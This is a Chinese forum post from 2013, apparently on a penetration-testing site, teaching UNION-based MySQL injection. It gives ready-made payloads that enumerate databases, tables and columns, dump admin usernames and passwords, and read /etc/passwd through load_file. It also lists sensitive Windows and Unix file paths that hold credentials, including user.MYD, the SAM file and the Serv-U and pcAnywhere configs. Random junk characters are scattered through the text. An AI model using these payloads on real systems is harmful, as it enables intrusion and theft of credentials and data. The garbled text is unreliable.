中国网络渗透测试联盟

标题: mysql5.0注入原理 [打印本页]

作者: admin    时间: 2013-3-7 13:24
标题: mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
& W9 ]5 {9 `: b
$ P. A) e# \2 c ) C; o5 p. z9 B' E: c* ^
3 o2 N6 O0 s+ ~1 q* N; z
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
1 p0 y& ^; [2 C$ u* J$ h& R- U中记录了Mysql中所有
0 g% Q$ K5 x; k存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说  D: F+ w4 A) E
明。. u% ]3 W5 e' ~
1.得到所有数据库名:
6 E- O: p6 W# I* X|SCHEMATA ->存储数据库名的表# e9 n( t4 V# `- }, V4 [+ N
|—字段:SCHEMA_NAME ->数据库名称
1 A( U3 P) W3 K& N! l' `
3 h- J1 A9 c. m4 O|TABLES ->存储表名  j  L: l' n; H
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名" b! p( r; ?  \) @/ c' C( A
|—字段:TABLE_NAME ->存储表的表名
4 k' M2 V* r7 m/ ?2 t2 O- L  B) m7 P5 I( v- f5 r4 X: i
|COLUMNS ->存储的字段名表
1 j% Y" Z, W" m* X|—字段:TABLE_SCHEMA ->该字段所属数据库名
$ v- m' ~& ^# ^  I|—字段:TABLE_NAME ->存储所属表的名称$ r* U. J  H, U1 M; Y6 I

2 h  H3 E! R, Z- N. K. ~|—字段:COLUMN_NAME ->该字段的名称. @7 {* j4 b# \

0 E5 K) r0 z& H3 B1 h5 |#########################################################################: Y* D, E4 A2 Q
##( t& Z7 ^' ~7 x
" D7 }  M% O! i) j" N
0×001 获取系统信息:
$ {* f" k( p$ c- }6 @$ j* P( d# L+ a* K2 \# P( U  {6 I. s+ N
union select 1,2,3,4,5,concat
+ l' K$ T8 @4 J% v(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user& J, Q- F. D/ E+ \
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
) Z7 \2 q: k4 W1 [
( W3 J1 ]. M& k/*: ~/ W7 N" b& ?8 a- Y

7 c2 K/ }4 s9 J- q8 s6 Q: m@@global.version_compile_os 获取系统版本
5 d5 I1 g4 U+ Z) H7 ?6 _
* C8 s6 ^  |; N- _@@datadir 数据库路径$ P7 }+ p. F1 D- z1 f2 i# k8 @; Y
database() 当前数据库名称
+ _& ?1 m' C+ E9 t: [( U) t' K0x3c62723e 换行HEX值
' }6 Z8 F% G, a1 h9 s( A  V9 q* _! ^, \/ F
*/
# u' J/ _1 b  V3 v. t/ z! p6 N7 n$ u! J7 z% j; U: _: T. L
######################################################################: k' N, C* f0 u7 T

1 M9 q) b3 Y! V1 |0×002 获取表名
8 D3 {( [: G* _# Y1 i9 I1 _  m* V
9 |+ m: o, |5 G/ q+ H5 ounion select 1,2,group_concat(table_name),4,5,6,7,8,9 from- ~, a8 u2 c; o& H; C& ]
information_schema.tables where table_schema=0x67617264656e /*
! F4 V" q' t% `( t
9 Y3 z# @+ M# w& D; L6 Q/*
; ~, U$ Y3 |/ J% Z7 D: X" g3 y. I! `/ _( h! [7 V
0x67617264656e 为当前数据库名
/ ?  E5 O7 S" l0 @- c4 i; `' B: R+ u' j# z' ]
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名0 M' s7 n# t" `- ?
  B: g5 y0 @+ G# e
*/
- b4 C# y$ s! p( a* I9 g: s% v  X( u; ?) C! l9 k( j
######################################################################. {5 ]6 P- w7 ^( O" A' z- e8 f: N- i# v

# f8 P' M; n( `/ V/ x; K0×003 获取字段
) Y0 g4 s* j# L9 q3 d8 n; v- C( _9 K; Y. n) K$ [
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from( Q4 p/ z6 ^7 z6 D
information_schema.columns where table_name=0x61646d696e and
; r* U- e2 ]8 A4 I9 h9 D- B( G- M4 G# S  Z. K9 |& C3 N

) s+ F% W9 c% a# ctable_schema=0x67617264656e limit 1 /*
# p9 O2 w- O8 B1 n+ h. S  J8 r3 g4 Z$ @" B' y6 u7 Y  N" }
/*
! W1 Z  b, b0 n& A: R" j( P5 s* A: l& p, R3 `" @, w
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段: T8 e/ {, Z4 h5 x; l- t

8 `8 V2 v' E. s2 t2 {/ }2 o0x61646d696e ->选择一个表: b; h! F; Z, @0 u; C5 ^

* ^4 Q$ K6 \1 z. n  B/ _0x67617264656e ->数据库名, Z$ y2 y1 J/ x; s& C* j
3 |9 O2 P, b; w/ ]
*/
4 _! G0 Y/ q9 ~4 n
! V/ [2 S& ]" Z* P7 [4 r. X#####################################################################  e7 ^( o) m( c! d

; E! }' E" j/ T0×004 获取数据
& f) }0 z) W- P6 p" A3 G/ k3 {1 s9 G3 f/ h' W
union select 1,2,3
/ y: l& S) B* D2 m1 b,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin6 r& h! K8 R$ q1 Y; g8 R# x2 N0 [

2 U8 l' J' y6 D7 |union select 1,group_concat(id),group_concat(adname),4,5,group_concat
  N& o1 m- s$ ]. I) n# C. I(adpassword),6,7,8 from admin
( ^* b) E4 P. S$ {# i9 t: j4 ]* s& \4 L$ C7 f& \- h4 a
/*8 ^$ @% V5 M( \0 q# o& |3 R& K

9 n! m% z3 l7 V- D0x3c62723e 换行符号HEX编码
% c2 q, I2 S2 w3 q# ^* y: p/ Z0 V
group_concat 同时获得该字段所有数据( P$ X7 Q% z# [4 E% i

& ^5 a9 L/ ^. X( J2 W( l3 `1 t*/
8 j6 r7 B' K* O7 `* {
, Y! m% V' c' a. \+ E8 j
8 @9 f  y' \' x9 ]5 u6 A
  I2 e( g: T& R8 a' ]8 i5 v ! l2 M9 v2 E( e' {5 P( n
) a/ `! M( B  }
顺便添加一些mysql注入时非常有用的一些东西
0 w& U9 M3 [8 ]: v
0 z6 w3 i. w0 G; Z8 c- j简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
( S2 ^' v' \! s1 ?
7 Z# k& u' ]+ B0 u" _& L1:system_user() 系统用户名. s' Z  h3 c* R
2:user()        用户名
9 u% t0 W, I$ q* d3:current_user()  当前用户名- A; n! Y. g0 L' z9 O( \* W8 j
4:session_user()连接数据库的用户名9 b- b+ [; D" h
5:database()    数据库名
& A, N4 }4 d2 ]4 D6:version()     MYSQL数据库版本  V5 S, E% h; B) a, L# y
7:load_file()   MYSQL读取本地文件的函数
; J9 p# r( G5 P8 e8@datadir     读取数据库路径$ s' @5 F/ s+ @
9@basedir    MYSQL 安装路径
  x& ~, p1 q" ?5 n' p10@version_compile_os   操作系统  Windows Server 2003,) \; |  y( K. B8 ?0 U
收集的一些路径:
9 _8 n5 l2 b) |4 @, F; OWINDOWS下:+ Z5 v0 S  M3 ]" O0 x' ?
c:/boot.ini          //查看系统版本
( H; S' I7 o0 p8 |c:/windows/php.ini   //php配置信息
  J, w6 y/ w2 Hc:/windows/my.ini    //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码  G7 v2 g( }! o0 d) B
c:/winnt/php.ini
/ z4 s' \5 M" ?( N4 f8 Cc:/winnt/my.ini
7 l6 R2 k8 [4 o: b4 U0 V# qc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码9 e) A# t* w2 o) J) w; V
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码% t- k6 I2 }* u% @
c:\Program Files\Serv-U\ServUDaemon.ini
7 Y7 s1 l+ `; [7 o6 Sc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
/ g4 s# [5 O8 V! e/ h$ m, Ec:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码  F2 U% l+ Z4 s1 o( `
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
' m" w1 V6 N1 K4 T/ wc:\Program Files\RhinoSoft.com\ServUDaemon.exe
7 b0 K" J; ?% R* ^% kC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
: g; k5 L! t6 Q5 q. w+ p//存储了pcAnywhere的登陆密码
- u# K: _% g2 lc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
$ r+ ^3 U7 l: d& s% I5 Gc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.# d5 t: U% z1 U2 \

) }$ G: B. k& V
( {" ?' F; [" |c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机% C6 y! v3 y# t- f0 d* _
d:\APACHE\Apache2\conf\httpd.conf, G0 }. p9 ^; p! N# e8 u0 K
C:\Program Files\mysql\my.ini
# ]$ n( T2 Q" R0 ic:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置" R9 n9 s) }. x& u& Z
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码9 J% |: o# I& `- j

0 ~0 ]; L/ d4 j: f1 X- sLUNIX/UNIX下:0 \& q* a% o+ n0 R, C) n
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 {8 t4 U! F+ h& Z1 t/usr/local/apache2/conf/httpd.conf# O. ~! _  D& i
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- J( y+ J* D5 R& j; O* l) e/usr/local/app/php5/lib/php.ini //PHP相关设置
' f$ ^4 n  f  K9 o/ [/etc/sysconfig/iptables //从中得到防火墙规则策略
. `: J6 n: |6 ?: h' x2 {/etc/httpd/conf/httpd.conf // apache配置文件
2 j  H  X" x* d" [/etc/rsyncd.conf //同步程序配置文件
; Z. n3 C0 c1 B/ i* ~7 \6 U/etc/my.cnf //mysql的配置文件- H1 f# S1 z! l+ j
/etc/redhat-release //系统版本. ~* w/ I5 M% h0 C
/etc/issue
" G, X; f% |! r; m/etc/issue.net, Q5 ]5 E" ^5 \3 W
/usr/local/app/php5/lib/php.ini //PHP相关设置2 G5 g  |' b$ h8 ^
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
5 H+ v7 U' C! J" m7 P. b  g% z+ Q/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件5 u7 T# U0 a% M4 K! L' O& Y
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看- l4 |4 x* [4 o* {5 `. ^( r
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
# a) w! C* J5 s* Y% x/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看0 B  J3 [! v8 f8 I9 t9 k- w' T7 a* v
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
% R; w; r* t% R4 k% I, W& P/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
# h" L: w3 N- ?+ X- }* f& n/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
1 }6 u/ W3 `/ X6 g- [9 i/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
* y, E) y3 y) V1 J/etc/sysconfig/iptables 查看防火墙策略9 J# t4 f9 R' W3 s* X
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4 V) g$ V; d9 Ireplace(load_file(0x2F6574632F706173737764),0x3c,0×20)! B- M/ J# q% p& }7 Q7 `# K% L: Q7 J
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))- ^  L( P8 Y2 V  D3 I% Z
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.2 x" E( H2 `6 B( |) s: M: B0 c
9 G) o. l" ~7 B1 A% X





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2